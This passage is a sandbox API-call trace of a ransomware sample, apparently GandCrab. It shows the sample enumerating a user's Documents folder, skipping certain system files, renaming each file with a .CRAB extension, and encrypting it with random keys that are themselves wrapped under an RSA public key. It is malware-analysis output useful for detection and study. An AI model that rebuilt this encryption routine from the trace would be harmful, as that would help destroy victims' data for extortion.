	[0126.966] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0126.968] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0126.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.969] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.969] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0126.969] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.969] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.970] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0126.972] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0126.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.973] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.973] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0126.973] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0126.973] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.973] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.973] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.974] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0126.977] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318f0f8) returned 1
	[0126.977] CryptGetKeyParam (in: hKey=0x318f0f8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0126.977] CryptEncrypt (in: hKey=0x318f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0126.977] GetLastError () returned 0x0
	[0126.977] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0126.977] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0126.980] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318f2f8) returned 1
	[0126.980] CryptGetKeyParam (in: hKey=0x318f2f8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0126.981] CryptEncrypt (in: hKey=0x318f2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0126.981] GetLastError () returned 0x0
	[0126.981] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0126.981] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\dnfkbf0qb.rtf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0126.982] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.982] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0126.982] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x153f0, lpOverlapped=0x0) returned 1
	[0127.022] VirtualAlloc (lpAddress=0x0, dwSize=0x153f0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.024] VirtualAlloc (lpAddress=0x0, dwSize=0x153f0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0127.027] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.028] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffeac10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.028] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x153f0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x153f0, lpOverlapped=0x0) returned 1
	[0127.028] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.029] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.033] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0127.033] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0127.033] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0127.033] CloseHandle (hObject=0x3ec) returned 1
	[0127.033] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.034] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.034] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.034] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.034] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.034] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.035] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0127.035] lstrcmpW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2=".") returned 1
	[0127.035] lstrcmpW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="..") returned 1
	[0127.035] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="Fn6uJtrJyot0QeS1.csv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv"
	[0127.035] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.035] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv") returned 68
	[0127.035] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv") returned 68
	[0127.035] lstrlenW (lpString=".csv") returned 4
	[0127.035] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.036] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".csv ") returned 5
	[0127.036] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.036] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv") returned 68
	[0127.036] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv") returned 68
	[0127.036] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="desktop.ini") returned 1
	[0127.036] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="autorun.inf") returned 1
	[0127.036] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="ntuser.dat") returned -1
	[0127.036] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="iconcache.db") returned -1
	[0127.036] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="bootsect.bak") returned 1
	[0127.036] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="boot.ini") returned 1
	[0127.036] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="ntuser.dat.log") returned -1
	[0127.037] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="thumbs.db") returned -1
	[0127.037] lstrcmpiW (lpString1="Fn6uJtrJyot0QeS1.csv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.037] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.037] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB") returned 73
	[0127.037] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\fn6ujtrjyot0qes1.csv")) returned 0x20
	[0127.037] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv", dwFileAttributes=0x20) returned 1
	[0127.038] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\fn6ujtrjyot0qes1.csv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\fn6ujtrjyot0qes1.csv.crab")) returned 1
	[0127.038] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.039] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB"
	[0127.039] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB.CRAB"
	[0127.039] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0127.042] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.042] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.042] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.042] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0127.042] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.042] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.043] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0127.045] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.046] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.046] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.046] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0127.046] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.046] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.046] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.047] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.047] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0127.050] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318eeb8) returned 1
	[0127.050] CryptGetKeyParam (in: hKey=0x318eeb8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0127.050] CryptEncrypt (in: hKey=0x318eeb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0127.051] GetLastError () returned 0x0
	[0127.051] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.051] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0127.054] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318f278) returned 1
	[0127.054] CryptGetKeyParam (in: hKey=0x318f278, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0127.054] CryptEncrypt (in: hKey=0x318f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0127.054] GetLastError () returned 0x0
	[0127.054] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.054] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Fn6uJtrJyot0QeS1.csv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\fn6ujtrjyot0qes1.csv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0127.055] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.055] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.055] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0xa1d8, lpOverlapped=0x0) returned 1
	[0127.158] VirtualAlloc (lpAddress=0x0, dwSize=0xa1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.159] VirtualAlloc (lpAddress=0x0, dwSize=0xa1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.159] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.160] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff5e28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.160] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xa1e0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xa1e0, lpOverlapped=0x0) returned 1
	[0127.160] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.161] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.164] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0127.164] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0127.165] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0127.165] CloseHandle (hObject=0x3ec) returned 1
	[0127.165] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.165] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.165] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.165] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.166] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.166] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.166] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0127.166] lstrcmpW (lpString1="Ie5epaMPUcju.pdf", lpString2=".") returned 1
	[0127.166] lstrcmpW (lpString1="Ie5epaMPUcju.pdf", lpString2="..") returned 1
	[0127.166] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="Ie5epaMPUcju.pdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf"
	[0127.166] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.166] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf") returned 64
	[0127.167] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf") returned 64
	[0127.167] lstrlenW (lpString=".pdf") returned 4
	[0127.167] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.167] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pdf ") returned 5
	[0127.167] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.167] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf") returned 64
	[0127.167] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf") returned 64
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="desktop.ini") returned 1
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="autorun.inf") returned 1
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="ntuser.dat") returned -1
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="iconcache.db") returned 1
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="bootsect.bak") returned 1
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="boot.ini") returned 1
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="ntuser.dat.log") returned -1
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="thumbs.db") returned -1
	[0127.167] lstrcmpiW (lpString1="Ie5epaMPUcju.pdf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.167] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.168] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB") returned 69
	[0127.168] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\ie5epampucju.pdf")) returned 0x20
	[0127.168] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf", dwFileAttributes=0x20) returned 1
	[0127.168] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\ie5epampucju.pdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\ie5epampucju.pdf.crab")) returned 1
	[0127.169] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.169] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB"
	[0127.169] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB.CRAB"
	[0127.169] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0127.172] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.172] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.173] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.173] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0127.173] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0127.173] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.173] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0127.175] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.176] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.176] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0127.176] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.176] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.176] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.177] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.177] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0127.179] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318eef8) returned 1
	[0127.179] CryptGetKeyParam (in: hKey=0x318eef8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0127.179] CryptEncrypt (in: hKey=0x318eef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
